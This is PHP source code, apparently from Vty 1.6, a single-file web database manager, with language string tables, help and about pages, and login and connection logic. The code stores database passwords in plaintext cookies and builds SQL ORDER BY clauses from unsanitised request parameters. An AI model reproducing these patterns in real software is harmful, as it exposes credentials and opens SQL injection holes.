  567. $uy['EminmisinCikis'] = 'Sei sicuro?\\nVuoi terninare la sessione?\\n';
  568. $uy['EminmisinSil'] = 'Sei sicuro?\\nVuoi CANCELLARE la RIGA selezionata?\\n';
  569. $uy['EminmisinBosalt'] = 'Sei sicuro?\\nVuoi CANCELLARE la TABELLA selezionata ?\\n';
  570. $uy['EminmisinKaldir'] = 'Sei sicuro?\\nVuoi ELIMINARE la TABELLA selezionata?';
  571. $uy['EminmisinDbSil'] = 'Sei sicuro?\\nVuoi ELIMINARE il DATABASE selezionato?\\n';
  572. $uy['KomutCalistirildi'] = 'Query OK';
  573. $uy['KacSatirEtkilendi'] = 'rows affected';
  574. $uy['loginBilgi'] = 'Inserisci username e password per connetterti al database. (basato sui Cookie)';
  575. $uy['destekYok'] = 'La tua configurazione PHP non supporta le @DbType@ functions.';
  576. $uy['YeniDbOldu'] = 'Hai creato un nuovo database: `@NewDbName@`.';
  577. $uy['YeniDbHata'] = 'Errore nella creazione del database `@NewDbName@`.';
  578. $uy['YeniTbOldu'] = 'Hai creato una nuova tabella: `@NewTbName@`.';
  579. $uy['YeniTbHata'] = 'Errore nella creazione della tabella `@NewTbName@`.';
  580. $uy['DbSilEminmi'] = 'Sei sicuro? Vuoi ELIMINAREil database `@DbName@`?';
  581. $uy['DbSilOldu'] = 'Il database `@DbName@` � stato eliminato.';
  582. $uy['DbSilHata'] = "Errore nell'eliminazione del database`@DbName@`";
  583. $uy['YeniSatirOldu'] = 'Aggiunta una nuova riga.';
  584. $uy['YeniSatirHata'] = 'Errore nella creazionedi una nuova riga.';
  585. $uy['SatirDuzeldi'] = 'La riga selezionata � stato aggiornata.';
  586. $uy['SatirDuzelHata'] = "Errore nell'aggiornamento della riga.";
  587. $uy['SatirlarDuzeldi'] = 'Le righe selezionate sono state aggiornate.';
  588. $uy['SatirSilindi'] = 'Le righe selezionate sono state eliminate.';
  589. $uy['SatirSilHata'] = "Errore nell'eliminazione delle righe.";
  590. $uy['SatirNSilindi'] = '@number@ righe selezionate sono state eliminate.';
  591. $uy['SatirSilNHata'] = "Errore nell'eliminazione delle @number@ righe selezionate.";
  592. $uy['OturumKapa'] = 'Sessione conclusa';
  593. $uy['OturumKaHata'] = 'Errore nel concludere la sessione.';
  594. $uy['ToplamSatir'] = 'Numero di righe: @number@';
  595. $uy['SatirYok'] = 'Non ci sono righe in questa tabella.';
  596. $uy['BosaltEmin'] = 'Vuoi svuotare la tabella @DbTable@?';
  597. $uy['BosaltOldu'] = 'Tabella @DbTable@ svuotata.';
  598. $uy['BosaltHata'] = 'Errore nello svuotamento della tabella @DbTable@.';
  599. $uy['KaldirEmin'] = 'Vuoi elimiare la tabella @DbTable@?';
  600. $uy['KaldirOldu'] = 'Tabella @DbTable@ eliminata.';
  601. $uy['KaldirHata'] = "Errore nell'eliminazione della tabella @DbTable@.";
  602. $uy['YeniDilSec'] = 'Seleziona la lingua.';
  603. $uy['CookieError'] = 'Il tuo browser non accetta i cookie. Risolvi il problema e ritenta';
  604. $uy['CookieErrorBas'] = 'Cookie Error';
  605. /// <TRANSLATE_HERE END>
  606.  
  607. }else{
  608.  
  609. ///
  610. /// if you want to translate Vty to your language.
  611. /// Please email us from [email protected]
  612. ///
  613.  
  614. /**
  615. * English
  616. */
  617.  
  618. /// <TRANSLATE_HERE>
  619. $dil['Charset'] = 'iso-8859-1'; //iso-8859-1
  620. $dil['dil'] = 'Language'; //Language
  621. $dil['Duzelt'] = 'Edit'; //"Edit"
  622. $dil['Sil'] = 'Delete'; //"Delete"
  623. $dil['Kaydet'] = 'Save'; //"Save"
  624. $dil['Gonder'] = 'Send'; //"Send"
  625. $dil['Reset'] = 'Reset'; //"Reset"
  626. $dil['Tamam'] = 'Okey'; //"OK"
  627. $dil['Uygula'] = 'Apply'; //"Apply"
  628. $dil['Iptal'] = 'Cancel'; //"Cancel"
  629. $dil['Yukari'] = 'Up Level'; //"Up Level"
  630. $dil['Satir'] = 'Line'; //"Line"
  631. $dil['Hata'] = 'Error'; //"Error"
  632. $dil['HataAcklm'] = 'Error Description'; //"Error desciription"
  633. $dil['MysqlHata'] = 'Mysql Error'; //"Mysql Error"
  634. $dil['Cevap'] = 'Answer'; //"Answer"
  635. $dil['Evet'] = 'Yes'; //"Yes"
  636. $dil['Hayir'] = 'No'; //"No"
  637. $dil['Ekle'] = 'Add'; //"Add"
  638. $dil['Olustur'] = 'Create'; //"Create"
  639. $dil['Devam'] = 'Next'; //"Next"
  640. $dil['Geri'] = 'Back'; //"Back"
  641. $dil['Seciniz'] = 'Choose'; //"Choose"
  642. $dil['YeniTbAdi'] = 'New table name'; //"New table name"
  643. $dil['DbEkle'] = 'CREATE DATABASE'; //"CREATE DATABASE"
  644. $dil['TbEkle'] = 'CREATE TABLE'; //"CREATE TABLE"
  645. $dil['DbSil'] = 'DROP this DATABASE'; //"DROP this DATABASE"
  646. $dil['Gelistir'] = 'Develop'; //"Develop"
  647. $dil['Ayarlar'] = 'Options'; //"Options"
  648. $dil['Yardim'] = 'Help'; //"Help"
  649. $dil['VtYonet'] = 'Database Manager for MySQL';//"Database manager for MySQL"
  650. $dil['Vt'] = 'Database'; //"Database"
  651. $dil['Dosyadan'] = 'From File'; //"From File"
  652. $dil['Tablo'] = 'Table'; //"Table"
  653. $dil['VtSeciniz'] = 'Choose a Database '.
  654. 'to Start'; //"Choose a Database to Start"
  655. $dil['TbSeciniz'] = 'Choose a Table'; //"Choose a Table"
  656. $dil['SayfaYnl'] = 'Refresh'; //"Refresh"
  657. $dil['Sorgu'] = 'Query'; //"Query"
  658. $dil['Sql'] = 'Sql Query'; //"Sql Query"
  659. $dil['SqlSonucu'] = 'Sql Results'; //"Sql Results"
  660. $dil['Buyut'] = 'Larger'; //"Larger"
  661. $dil['Uzat'] = '&lt; Longer &gt;'; //"&lt; Longer &gt;"
  662. $dil['Kisalt'] = '&gt; Shorter &lt;'; //"&gt; Shorter &lt;"
  663. $dil['Hep'] = 'All'; //"All"
  664. $dil['Hic'] = 'None'; //"None"
  665. $dil['EnAlt'] = 'Bottom'; //"Bottom"
  666. $dil['EnUst'] = 'Top'; //"Top"
  667. $dil['VtAdi'] = 'DatabaseName'; //"DatabaseName"
  668. $dil['TbAdi'] = 'TableName'; //"TableName"
  669. $dil['SutunSys'] = 'Field Number'; //"Field Number"
  670. $dil['TbBosalt'] = 'EMPTY this TABLE'; //"EMPTY this TABLE"
  671. $dil['TbKaldir'] = 'DROP this TABLE'; //"DROP this TABLE"
  672. $dil['DumpTables'] = 'DUMP Table'; //"DUMP"
  673. $dil['SatirEkle'] = 'Add New Row'; //"Add New Row"
  674. $dil['SatirDzlt'] = 'Edit Rows'; //"Edit Rows"
  675. $dil['DbHost'] = 'Host Name'; //"Host Name"
  676. $dil['DbKullAdi'] = 'User Name'; //"User Name"
  677. $dil['DbSifre'] = 'Password'; //"Password"
  678. $dil['SessCikis'] = 'Log Out'; //"Session Log Out"
  679. $dil['db_type'] = 'Server Type'; //"Server Type"
  680. $dil['GrsHts'] = 'Connection Error'; //"Connection Error"
  681. $dil['sayfalar'] = 'Pages'; //"Pages"
  682. $dil['sayfa'] = 'Page'; //"Pages"
  683. $dil['SayfaBasi'] = 'Rows per page'; //"Rows per page"
  684. $dil['Yeni'] = 'New'; //"New"
  685. $dil['AnaMenu'] = 'Main Menu'; //"Main Menu"
  686. $dil['WellComeToVty'] = 'Welcome to Vty'; //"Wellcome to Vty"
  687. $dil['About'] = "About"; //"about"
  688. $dil['Bugs'] = "Bugs"; //"Bugs"
  689. $dil['DumpTable'] = 'Dump Table'; //"Dump Table"
  690. $dil['DumpBoth'] = 'Both of "Insert Into" and "Create Table"'; //Both of "Insert Into" and "Create Table"
  691. $dil['DumpCreateOnly'] = '"Create Table" info only'; //"Create Table" info only
  692. $dil['DumpInsertOnly'] = '"Insert Into" info only'; //"Insert Into" info only
  693. $dil['SaveAsFile'] = "Save as file"; //"Save as file"
  694. $dil['DumpSubmit'] = "Dump Now"; //"Dump Now"
  695.  
  696. $uy['EminmisinCikis'] = 'Are you sure?\\nDo you want to end your session and quit?\\n';
  697. $uy['EminmisinSil'] = 'Are you sure?\\nDo you want to DELETE selected ROW?\\n';
  698. $uy['EminmisinBosalt'] = 'Are you sure?\\nDo you want to EMPTY selected TABLE?\\n';
  699. $uy['EminmisinKaldir'] = 'Are you sure?\\nDo you want to DROP selected ROW?';
  700. $uy['EminmisinDbSil'] = 'Are you sure?\\nDo you want to DROP selected DATABASE?\\n';
  701. $uy['KomutCalistirildi'] = 'Query OK';
  702. $uy['KacSatirEtkilendi'] = 'rows affected';
  703. $uy['loginBilgi'] = 'Please enter your username and password to connect database server. (Cookie based)';
  704. $uy['destekYok'] = 'Your PHP configuration do not support @DbType@ functions.';
  705. $uy['YeniDbOldu'] = 'New database `@NewDbName@` has been created.';
  706. $uy['YeniDbHata'] = 'An error occured when creating new database `@NewDbName@`.';
  707. $uy['YeniTbOldu'] = 'New table `@NewTbName@` has been created.';
  708. $uy['YeniTbHata'] = 'An error occured when creating new table `@NewTbName@`.';
  709. $uy['DbSilEminmi'] = 'Are you sure? Do you want to DROP `@DbName@` database?';
  710. $uy['DbSilOldu'] = '`@DbName@` database has been dropped.';
  711. $uy['DbSilHata'] = 'An error occured when dropping `@DbName@` database';
  712. $uy['YeniSatirOldu'] = 'New row added.';
  713. $uy['YeniSatirHata'] = 'An error occured when adding new row.';
  714. $uy['SatirDuzeldi'] = 'The rows you have selected has been updated.';
  715. $uy['SatirDuzelHata'] = 'An error occured when updating row.';
  716. $uy['SatirlarDuzeldi'] = 'The rows you have selected has been updated.';
  717. $uy['SatirSilindi'] = 'The row you have selected has been deleted.';
  718. $uy['SatirSilHata'] = 'An error occured when deleting row.';
  719. $uy['SatirNSilindi'] = '@number@ rows you have selected has been deleted.';
  720. $uy['SatirSilNHata'] = 'An error occured when deleting @number@ rows you have selected.';
  721. $uy['OturumKapa'] = 'Session closed';
  722. $uy['OturumKaHata'] = 'Error when closing session.';
  723. $uy['ToplamSatir'] = 'Numrows: @number@';
  724. $uy['SatirYok'] = 'There is no row in the table.';
  725. $uy['BosaltEmin'] = 'Do you want to empty @DbTable@ table?';
  726. $uy['BosaltOldu'] = '@DbTable@ table emptied.';
  727. $uy['BosaltHata'] = 'An error occured when emptying @DbTable@ table.';
  728. $uy['KaldirEmin'] = 'Do you want to drop @DbTable@ table?';
  729. $uy['KaldirOldu'] = '@DbTable@ table dropped.';
  730. $uy['KaldirHata'] = 'An error occured when dropping @DbTable@ table.';
  731. $uy['YeniDilSec'] = 'Select your new language.';
  732. $uy['CookieError'] = 'Your browser does not accept cookies. Please turn it on to continue.';
  733. $uy['CookieErrorBas'] = 'Cookie Error';
  734. /// <TRANSLATE_HERE END>
  735. }
  736. $this->dil = $dil;
  737. $this->uy = $uy;
  738. }
  739.  
  740.  
  741. }
  742.  
  743. ?>
  744. <?php
  745.  
  746. /**
  747. * class Docs
  748. *
  749. * This class includes the language informations and the display informations
  750. */
  751. class Docs
  752. {
  753.  
  754. /**
  755. * Docs
  756. *
  757. *
  758. */
  759. function Docs($vty){
  760. $this->vty = $vty;
  761.  
  762. $this->menu();
  763. if($this->vty->nebu=='help'){
  764. $this->help();
  765. }elseif($this->vty->nebu=='bugs'){
  766. $this->bugs();
  767. }elseif($this->vty->nebu=='about'){
  768. $this->about();
  769. }
  770. }
  771.  
  772. /**
  773. * menu
  774. *
  775. *
  776. */
  777. function menu(){
  778. ?>
  779. <table width="100%" border="0" cellpadding="5" cellspacing="1" bgcolor="#ECB100">
  780. <tr>
  781. <td height="30" bgcolor="#FFF4D2"> <a href="<? echo $this->vty->urlyap($this->vty->linkler.'&ne=docs&nebu=help'); ?>"><? echo $this->vty->dug->dil['Yardim']; ?></a>
  782. | <a href="<? echo $this->vty->urlyap($this->vty->linkler.'&ne=docs&nebu=about'); ?>"><? echo $this->vty->dug->dil['About']; ?></a>
  783. | <a href="<? echo $this->vty->urlyap($this->vty->linkler); ?>"><? echo $this->vty->dug->dil['Iptal']; ?></a>
  784. </td>
  785. </tr>
  786. </table>
  787. <br>
  788. <?
  789. }//end of func: menu
  790.  
  791. /**
  792. * help
  793. *
  794. *
  795. */
  796. function help(){
  797. echo '<style type="text/css">
  798. h3{ color:#CC0000;}
  799. ul{ list-style:square;}
  800. </style>';
  801. ?>
  802. <fieldset>
  803. <div align="left" style="margin:10;">
  804. <h3>Vty Help</h3>
  805. <ul>
  806. <li><a href="<? echo $this->vty->vtyUrl; ?>help.php">Go to Vty Help Page</a></li>
  807. <li><a href="<? echo $this->vty->vtyUrl; ?>forum.php">Go to Vty Forum</a></li>
  808. <li><a href="<? echo $this->vty->vtyUrl; ?>bug.php">Report a bug</a></li>
  809. <li><a href="<? echo $this->vty->vtyUrl; ?>translate.php">Become a translator</a></li>
  810. <li><a href="<? echo $this->vty->vtyUrl; ?>feedback.php">Send Feedback</a></li>
  811. </ul>
  812. <ul>
  813. <li><b>How to install Vty?</b></li><br />
  814. No need to install Vty. Only enter your correct Mysql informations to login
  815. page. No need any installation. Only upload and use.<br><br>
  816.  
  817. <li><b>I don't want to see login page. What can i do?</b></li><br />
  818. If you don't want to see "Login Page".<br />
  819. 1. Open vty.php with a file editor.<br>
  820. 2. Go to Line 29.<br />
  821. 3. Change <font color="#993333">$ayar['LoginType'] = 'config_or_login';</font>&nbsp;&nbsp;&nbsp; as &nbsp;&nbsp;
  822. <font color="#993333">$ayar['LoginType'] = 'config';</font><br>
  823. 4. Write your correct MySQL informations. Your mysql username to <font color="#993333">$ayar['dbuser']</font>, password to <font color="#993333">$ayar['dbpass']</font> and mysql host to <font color="#993333">$ayar['dbhost']</font><br />
  824. 5. Save file.<br />
  825. And you will no longer see login page. Vty will directly connect to mysql server and will show you the databases.
  826. <br><br>
  827.  
  828. <li><b>Why has Vty got only one php file?</b></li><br />
  829. Vty is one file for easy upload and download.<br><br>
  830.  
  831. </ul>
  832. </div>
  833. </fieldset>
  834. <?
  835. }//end of func: help
  836.  
  837.  
  838. /**
  839. * about
  840. *
  841. *
  842. */
  843. function about(){
  844. ?>
  845. <fieldset>
  846. <alegend align="left" style="font-size:24px;color:#333333;"></alegend>
  847. <amarquee behavior="" direction="up" loop="-1" scrolldelay="110" scrollamount="3">
  848. <div align="left" style="margin:10;">
  849. <font size="4"><? echo 'Vty - '.$this->vty->dug->dil['VtYonet']; ?></font>
  850. <br />
  851. <br />
  852. <strong>Version: </strong><? echo 'Vty '.$this->vty->vtyversion; ?>
  853. <br />
  854. <strong>Email: </strong>
  855. <strong>URL: </strong><a href="<? echo $this->vty->vtyUrl; ?>" target="_blank"><? echo $this->vty->vtyUrl; ?></a> <br />
  856. <br />
  857. <strong>Translaters</strong><br>
  858. <em>English: Mustafa Kirgul, [email protected] </em><br>
  859. <em>Italian: Luca Realdi, [email protected] </em><br>
  860. <em>Spanish: Manuel Ruiz, [email protected]</em><br>
  861. <br>
  862. <strong>Developers</strong><br>
  863. <em>ismail Alpen, [email protected]<br>
  864. Enis �oban, [email protected]<br>
  865. Hizir Seven, [email protected]<br>
  866. Baurcan Jakasev: [email protected] </em><br>
  867. </div>
  868. </amarquee>
  869. </fieldset>
  870. <?
  871. }//end of func: about
  872.  
  873. /**
  874. * bugs
  875. *
  876. *
  877. */
  878. function bugs(){
  879. echo 'BUGS';
  880. }//end of func: help
  881. }//end of class: docs
  882. ?>
  883. <?php
  884.  
  885. class vty
  886. {
  887.  
  888. /**
  889. * �nemli degiskenler
  890. */
  891. var $ayar;
  892. var $dug;
  893. var $dl;
  894. var $baglanti;
  895. var $dosya;
  896. var $vtyversion;
  897. var $vtyUrl;
  898. var $BitimIslemleri;
  899.  
  900. /**
  901. * Icde uretilen degiskenler
  902. */
  903. var $dbname;
  904. var $tablename;
  905.  
  906. /**
  907. * sql query deki limit bilgisini iceris. LIMIT $i,$s gibi
  908. */
  909. var $numrows;
  910. var $query_limit;
  911.  
  912. /**
  913. * Gelen Degiskenler
  914. */
  915. var $ne;
  916. var $nebu;
  917. var $pp;
  918. var $order;
  919. var $desc;
  920. var $kac;
  921. var $ilk;
  922. var $query_order;
  923.  
  924. /**
  925. * Giris formdan gelenler
  926. */
  927. var $txtDbTipi;
  928. var $txtDbHost;
  929. var $txtDbKullanici;
  930. var $txtDbSifre;
  931.  
  932.  
  933. /**
  934. * vty()
  935. *
  936. * Vty i�in baslangi� fonksiyonlari
  937. *
  938. * @param object $ayar ayarlar classini icerir
  939. */
  940. function vty($ayar)
  941. {
  942.  
  943. ob_start();
  944. set_magic_quotes_runtime(false);
  945. $this->NoCache();
  946.  
  947. $this->ayar = $ayar;
  948. $this->dug = new dug($this->DilCookie());
  949. $this->ne = $this->gkp('ne');
  950. $this->nebu = $this->gkp('nebu');
  951. $this->sbtGirisYap = $this->gkp('sbtGirisYap','p');
  952. $this->txtDbTipi = $this->gkp('txtDbTipi','p');
  953. $this->txtDbHost = $this->gkp('txtDbHost','p');
  954. $this->txtDbKullanici = $this->gkp('txtDbKullanici','p');
  955. $this->txtDbSifre = $this->gkp('txtDbSifre','p');
  956. $this->RandomSayi();
  957. $this->ayar['error_reporting'] = error_reporting('E_ALL'); // alternatives: E_ALL & ~E_NOTICE
  958. $this->dosya = basename($this->gp('PHP_SELF','s'));
  959. $this->vtyversion = '1.6';
  960. $this->vtyUrl = 'http://www.kutukutu.com/vty/';
  961. }
  962.  
  963. /**
  964. * DilCookie()
  965. *
  966. *
  967. *
  968. */
  969. function DilCookie(){
  970. if($this->gkp('dl') == ''){
  971. if($this->gkp('vtykuki_dil','c')==''){
  972. $dil = $this->gkp('HTTP_ACCEPT_LANGUAGE','s');
  973. $dil = substr($dil,0,2);
  974. $dil = ($dil==''?$this->ayar['DefaultLang']:$dil);
  975. }else{
  976. $dil = $this->gkp('vtykuki_dil','c');
  977. }
  978. }else{
  979. $dil = $this->gkp('dl');
  980. if($dil <> $this->gkp('vtykuki_dil','c'))
  981. setcookie("vtykuki_dil",$dil,time()+100000000);
  982. }
  983. return $dil;
  984. }
  985.  
  986. /**
  987. * bitimIslemler()
  988. *
  989. * Vty i�in bitim fonksiyonlari
  990. */
  991. function BitimIslemleri()
  992. {
  993.  
  994. if($this->BitimIslemleri == false){
  995. $this->ImzaKoy();
  996. $this->_htmlSonu();
  997. }
  998. if($this->baglanti!=0){
  999. $this->db->vty_close();
  1000. }
  1001. ob_end_flush();
  1002. }
  1003.  
  1004. /**
  1005. * BitimYok()
  1006. *
  1007. * Vty i�in bitim fonksiyonlari
  1008. */
  1009. function BitimYok()
  1010. {
  1011. $this->BitimIslemleri = true;
  1012. }
  1013.  
  1014.  
  1015. /**
  1016. * linkler()
  1017. *
  1018. * Gelen databaseadi, tabloadi ve sayfada gezme bilgilerini alir,
  1019. * bunlardan sayfanin heryerinde kullanmak amaciyla string $linkler degiskenini olusturur.
  1020. */
  1021. function linkler()
  1022. {
  1023. $this->dbname = (!empty($this->ayar['dbname']) ? $this->ayar['dbname'] : urldecode($this->gkp('sdb')) );
  1024. $this->tablename = urldecode($this->gkp('stb'));
  1025. $this->pp = ($this->gp('sayfaBasi','p')?$this->gp('sayfaBasi','p'):$this->gp('pp','g'));
  1026. $this->order = $this->gp('order');
  1027. $this->desc = $this->gp('desc');
  1028. $this->kac = $this->gp('kac');
  1029. $this->ilk = $this->gp('ilk');
  1030. $this->linkler = (!empty($this->dug->dl)?"dl=".$this->dug->dl."&":'').
  1031. (!empty($this->dbname)?"sdb=".urlencode($this->dbname)."&":'').
  1032. (!empty($this->tablename)?"stb=".urlencode($this->tablename)."&":'').
  1033. (!empty($this->order)?"order=".$this->order."&":'').
  1034. (!empty($this->kac)?"kac=".$this->kac."&":'').
  1035. (!empty($this->pp)?"pp=".$this->pp."&":'').
  1036. (!empty($this->desc)?"desc=".$this->desc."&":'');
  1037. $this->DescOlayi();
  1038. }
  1039.  
  1040. function DescOlayi()
  1041. {
  1042. if(!empty($this->order)){
  1043. $this->query_order = "order by ".$this->order;
  1044. if($this->desc == "ASC"){
  1045. $this->query_order = "order by ".$this->order." ASC"; $this->desc = "DESC"; $this->desc_resim = '<font face="Webdings">6</font>'; //"res/desc_desc.gif";
  1046. }else{
  1047. $this->query_order = "order by ".$this->order." DESC"; $this->desc = "ASC"; $this->desc_resim = '<font face="Webdings">5</font>'; //"res/desc_asc.gif";
  1048. }
  1049. }
  1050. }
  1051.  
  1052.  
  1053. /**
  1054. * baglan()
  1055. *
  1056. * Baglantiyi Yapan fonksiyon, baglanti yapilip yapilmadigina g�re sonuc d�ner,
  1057. * baglanti olursa kuki birakir
  1058. */
  1059. function baglan()
  1060. {
  1061. $girisYontem = 'ayar';
  1062. if($this->ayar['LoginType']=='config_or_login' or $this->ayar['LoginType']=='login'){
  1063. if(!empty($this->sbtGirisYap) ){
  1064. $this->ayar['db_type'] = $this->txtDbTipi;
  1065. $this->ayar['dbhost'] = $this->txtDbHost;
  1066. $this->ayar['dbuser'] = $this->txtDbKullanici;
  1067. $this->ayar['dbpass'] = $this->txtDbSifre;
  1068. }elseif( $this->gp('vtykuki_host','c')<>'' and $this->gp('vtykuki_dbtipi','c')<>''){
  1069. $this->ayar['db_type'] = $this->gp('vtykuki_dbtipi','c');
  1070. $this->ayar['dbhost'] = $this->gp('vtykuki_host','c');
  1071. $this->ayar['dbuser'] = $this->gp('vtykuki_kullanici','c');
  1072. $this->ayar['dbpass'] = $this->gp('vtykuki_sifre','c');
  1073. }
  1074. $girisYontem = 'kuki';
  1075. }
  1076. if( $this->ayar['LoginType']=='config' or $this->ayar['LoginType']=='config_or_login' or ($this->ayar['LoginType']=='login' and ($this->gkp('vtykuki_host','c') or !empty($this->sbtGirisYap))) ){
  1077. if($this->dbKurulumu($this->ayar['db_type'])==false){
  1078. $this->baglantiHatasi = '<font color="#FF0000" >'. ereg_replace('@DbType@','<b>'.$this->dbTipiAdi($this->ayar['db_type']).'</b>',$this->dug->uy['destekYok']).'</font>'."\n";
  1079. }else{
  1080. $this->db = new vtydb;
  1081. $this->db->vt_adi($this->ayar['db_type']);
  1082. $this->baglan = ($this->db->vty_connect($this->ayar['dbhost'], $this->ayar['dbuser'], $this->ayar['dbpass']));
  1083. if($this->baglan==0){
  1084. $this->baglanti = 0;
  1085. $this->baglantiHatasiCol = '#FF0000';
  1086. $this->baglantiHatasiBas = $this->dug->dil['GrsHts'];
  1087. //DB_AYRIMI
  1088. if($this->ayar['db_type']=='mysql'){
  1089. $this->baglantiHatasi = $this->db->vty_error();
  1090. }elseif($this->ayar['db_type']=='mssql'){
  1091. $this->baglantiHatasi = 'MS SQL: Unable to connect to server'.(!empty($this->txtDbHost)?' : '.$this->txtDbHost:'.');
  1092. }
  1093. }else{
  1094. if($girisYontem=='kuki'){
  1095. setcookie("vtykuki_host",$this->ayar['dbhost']);
  1096. setcookie("vtykuki_kullanici",$this->ayar['dbuser']);
  1097. setcookie("vtykuki_sifre",$this->ayar['dbpass']);
  1098. setcookie("vtykuki_dbtipi",$this->ayar['db_type']);
  1099. }
  1100. $this->baglanti = 1;
  1101. }
  1102. }
  1103. }else{
  1104. $this->baglanti = 0;
  1105. }
  1106. }
  1107.  
  1108. /*
  1109. * girisForm()
  1110. *
  1111. * Database bilgilerin kullanididan istemek icin cikan ekrani oluturan fonksiyon
  1112. *
  1113. */
  1114. function girisForm()
  1115. {
  1116. echo '<table width="'.$this->dug->gor['table_width'].'" border = "'.$this->dug->gor['border'].'" cellspacing="'.$this->dug->gor['cellspacing'].'" cellpadding="'.$this->dug->gor['cellpadding'].'" >'."\n".
  1117. '<tr bgcolor="'.$this->dug->gor['alt_bgcolor'].'">'."\n".
  1118. "<td valign=\"top\">"."<br />"."\n".
  1119. '<table>'."\n".
  1120. "<form name=\"frmKukiliGiris\" method=\"post\" action=\"".$this->dosya."\" onSubmit=\"return fncKukiliGirisOnSub();\">"."\n".
  1121. '<tr colspan="2" >'."\n".'<td width="5" rowspan="3">'.'</td>'.
  1122. (($this->ayar['LoginType']=='config' or $this->gp('txtDbHost')<>'' )?
  1123. '<tr><td colspan="2">'.'<font face="Times New Roman" size="3" color="'.$this->baglantiHatasiCol.'"> <b> '.$this->baglantiHatasiBas.'</b>'."<br />".
  1124. $this->baglantiHatasi.'</font>'."<br /><br /></td>\n":'<td><font color="#000080" size="2" > &nbsp;<b>'.$this->dug->dil['WellComeToVty'].'</b></font><br/><br/></td>').
  1125. '</tr>'."\n";
  1126. if( $this->ayar['LoginType']=='config_or_login' or $this->ayar['LoginType']=='login'){
  1127. echo '<tr colspan="2" >'."\n".
  1128. '<td>'.
  1129. '<table cellspacing="5" cellpadding="0" >'.
  1130. '<tr><td>'.$this->dug->dil['dil'].':</td><td> &nbsp; '.$this->dilListesi().'</td></tr>'.
  1131. '<tr><td>'.'<b>'.$this->dug->dil['db_type'].' :</b>'.'</td>'.
  1132. '<td> &nbsp; <select name="txtDbTipi" style="width:130;" >'."\n".
  1133. '<option value="mysql" '.($this->ayar['db_type']=='mysql'?'selected':'').' >MySQL</option> '.
  1134. '<option value="mssql" '.($this->ayar['db_type']=='mssql'?'selected':'').' >MS SQL (test)</option>'."\n".
  1135. '</select>'.
  1136. '</td></tr>'.
  1137. '<tr>'.
  1138. '<td>'.'<b>'.$this->dug->dil['DbHost'].' :</b>'.'</td>'.
  1139. '<td> &nbsp; <input type="input" name="txtDbHost" value="'.(!empty($this->txtDbHost)?$this->txtDbHost:'localhost').'" >'.'</td>'.
  1140. '</tr>'.
  1141. '<tr>'.
  1142. '<td>'.'<b>'.$this->dug->dil['DbKullAdi'].' :</b>'.'</td>'.
  1143. '<td> &nbsp; '.'<input type="input" name="txtDbKullanici" value="'.(!empty($this->txtDbKullanici)?$this->txtDbKullanici:'').'">'."</td>".
  1144. '</tr>'.
  1145. '<tr>'.
  1146. '<td>'.'<b>'.$this->dug->dil['DbSifre'].' :</b>'.'</td>'.
  1147. '<td> &nbsp; '.'<input type="password" name="txtDbSifre">'."</td>".
  1148. '</tr>'.
  1149. '<tr>'.
  1150. '<td colspan="2" >'.
  1151. '<input type="submit" name="sbtGirisYap" value=" '.$this->dug->dil['Gonder'].' ">'.
  1152. '<input name="dl" type="hidden" id="dl" value="'.$this->dug->dl.'">'.
  1153. '<br /><br />'.
  1154. '</td></tr></table>'.
  1155.  
  1156. '</td>'."\n".
  1157. '</tr>'."\n";
  1158. }
  1159. echo '</form>'."\n".'</table>'."\n";
  1160. echo "</td> \n </tr> \n ".'<tr bgcolor="#dddddd" border = "0" cellspacing="1" cellpadding="1">'." \n ";
  1161. echo '<td height="25" align="right">&nbsp;</td>';
  1162. echo "</td>"."\n"."</tr>"."\n"."</table>"."\n";
  1163. }
  1164.  
  1165. /*
  1166. * Dil listesi
  1167. */
  1168. function dilListesi()
  1169. {
  1170. $diller = $this->dug->diller();
  1171. $dl = $this->dug->dl;
  1172. $don = '<select name="sDil" onChange="atla(\'parent\',\''.$this->dosya."?ne=lang&r=".$this->random.$this->linkler().'\',this,0)" >'."\n";
  1173. $don .= '<option >-'.$this->dug->dil['Seciniz'].'-</option>'."\n";
  1174. foreach($diller as $key=>$dil) $keys[] = $key;
  1175. foreach($diller as $di => $dil){
  1176. $don .= '<option value="&dl='.$di.'" '.((empty($dl) or !in_array($dl,$keys)) ? ($di==$this->ayar['DefaultLang']?'selected':'') : ($dl==$di?'selected':'') ).' >'.$dil.'</option>'."\n";
  1177. }
  1178. $don .= '</select>'."\n";
  1179. return $don;
  1180. }
  1181.  
  1182. /*
  1183. * Ust Menu
  1184. */
  1185. function ust()
  1186. {
  1187. $devam = $this->gp('devam');
  1188. if($this->baglanti==0)
  1189. $this->baslik = 'Vty '.$this->vtyversion.' - '.$this->dug->dil['VtYonet'];
  1190. else
  1191. $this->baslik = "vty : ".($this->dbname?$this->dbname:'?')." . ".(($this->tablename and $this->dbname)?$this->tablename:'?')." ".
  1192. (($this->tablename and $this->dbname and $this->ayar['dbhost'])?"@ ".$this->ayar['dbhost']." - v".$this->vtyversion:'');
  1193.  
  1194. echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">'."\n".
  1195. '<html>'."\n".
  1196. '<head>'."\n".'<title>'.$this->baslik.'</title>'."\n".
  1197. '<meta http-equiv="Content-Type" content="text/html; charset='.$this->dug->dil['Charset'].'">'."\n".
  1198. '<meta http-equiv="expires" content="now" >'."\n".
  1199. '<style type="text/css"> <!-- '."\n".
  1200. 'td{font-family: Arial; font-size: 12px}body{font-family: Arial; font-size: 12px}'."\n".
  1201. 'input{font-family: Arial; font-size: 12px}select{font-family: Arial; font-size: 12px}'."\n".
  1202. 'A:link{font-family: arial; font-size: 12px; text-decoration: none; color: #0000ff}'."\n".
  1203. 'A:visited{font-family: arial; font-size: 12px; text-decoration: none; color: #0000ff}'."\n".
  1204. 'A:hover{font-family: arial; font-size: 12px; text-decoration: underline; color: #006600}'."\n".
  1205. '--> </style>'."\n";
  1206.  
  1207. echo '<script language="JavaScript" type="text/JavaScript" > <!--'."\n".
  1208. "function atla(targ,adres,selObj,restore){eval(targ+\".location=\'\"+adres+selObj.options[selObj.selectedIndex].value+\"\'\");if(restore)selObj.selectedIndex=0;}"."\n".
  1209. "function Sileyimmi(soyle){var c=confirm(soyle);if(c==\"1\")return true;else if(c==\"0\")return false;}"."\n".
  1210. "function silDe(){ return Sileyimmi('".$this->dug->uy['EminmisinSil']."');} \n".
  1211. "function HepsiniSec(form,checkbox){var f=document.forms[form];var d=(typeof(f.elements[checkbox])!='undefined'?f.elements[checkbox]:0);var l=(typeof(d.length)!='undefined'?d.length:'0');if(l!=\"0\")for(var i=1;i<l;i++)d[i].checked=d[0].checked; }".""."\n".
